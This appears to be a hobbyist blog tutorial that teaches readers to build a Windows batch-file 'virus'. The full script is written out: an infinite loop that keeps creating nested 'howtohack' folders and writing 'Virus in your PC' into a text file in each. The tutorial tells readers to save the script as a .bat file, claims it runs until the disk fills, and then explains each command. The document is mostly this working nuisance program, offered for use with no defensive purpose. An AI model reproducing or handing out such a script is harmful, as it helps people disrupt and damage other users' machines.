Batch File programming tutorial 5 | Batch file directory maker virus

Batch File programming tutorial 5 – Batch file directory maker virus

Batch file programming is very useful and easy. You can use these files with any other programming languages too.
Do read all of my programming  Labels to get a better understanding of batch files and batch file programming.
Here is my next Labels about batch programming. In this programming tutorial I will teach you how to create a folder creator virus using batch programming.

Batch File Coding

@echo off
mkdir howtohack
:loop
cd howtohack
mkdir howtohack
echo>batchprogramming.txt
echo Virus in your PC>>batchprogramming.txt
goto loop
Copy the command and paste in notepad and save as anything.bat
This virus will create infinite folders named howtohack and batchprogramming.txt file into the howtohack folder until the disk is exhausted.

Explanation :

mkdir : this command is used to create new folder .
cd : This command is used to change the current directory .
echo >batchprogramming.txt : This command creates a new file “batchprogramming.txt”
echo text >>batchprogramming.txt : This command writes the text specified after
the echo command to text.txt file.
:loop